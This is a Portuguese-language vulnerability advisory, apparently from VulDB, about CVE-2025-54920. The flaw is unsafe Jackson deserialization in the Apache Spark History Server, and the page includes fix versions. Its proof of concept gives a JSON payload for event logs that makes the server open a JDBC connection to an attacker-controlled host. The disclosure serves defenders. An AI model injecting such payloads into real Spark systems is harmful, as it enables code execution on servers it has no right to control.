CVE-2025-54920 in Spark
Sumário
de VulDB • 19/05/2026
Este problema afeta o Apache Spark: versões anteriores a 3.5.7 e 4.0.1. Recomenda-se aos utilizadores atualizarem para as versões 3.5.7 ou 4.0.1 e superiores, que corrigem o problema.
Resumo
O Apache Spark 3.5.4 e versões anteriores contêm uma vulnerabilidade de execução de código na Spark History Web UI devido à desserialização Jackson excessivamente permissiva dos dados do registo de eventos. Isto permite que um atacante com acesso ao diretório dos registos de eventos do Spark injete payloads JSON maliciosos que desencadeiam a desserialização de classes arbitrárias, permitindo a execução de comandos no anfitrião que executa o Spark History Server.
Detalhes
A vulnerabilidade surge porque o Spark History Server utiliza a desserialização polimórfica do Jackson com @JsonTypeInfo.Id.CLASS em objetos SparkListenerEvent, permitindo que um atacante especifique nomes de classes arbitrárias no JSON do evento. Este comportamento permite a instanciação de classes não intencionais, como org.apache.hive.jdbc.HiveConnection, que podem realizar chamadas de rede ou outras ações maliciosas durante a desserialização.
O atacante pode explorar esta falha injetando conteúdo JSON manipulado nos ficheiros de registo de eventos do Spark, que o History Server desserializa durante a inicialização ou ao carregar os registos de eventos. Por exemplo, o atacante pode forçar o Spark History Server a abrir uma ligação JDBC para um servidor remoto controlado pelo atacante, demonstrando a capacidade de injeção remota de comandos.
Proof of Concept:
1. Execute o Spark com o registo de eventos ativado, escrevendo num diretório com permissões de escrita (spark-logs).
2. Injete o seguinte JSON no início de um ficheiro de registo de eventos:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>" } }
3. Inicie o Spark History Server com os registos a apontar para o diretório modificado.
4. O Spark History Server inicia uma ligação JDBC ao servidor do atacante, confirmando a injeção.
Impacto
Um atacante com permissão de escrita nos registos de eventos do Spark pode executar código arbitrário no servidor que executa o History Server, potencialmente comprometendo todo o sistema.
If you want to get the best quality for vulnerability data then you always have to consider VulDB.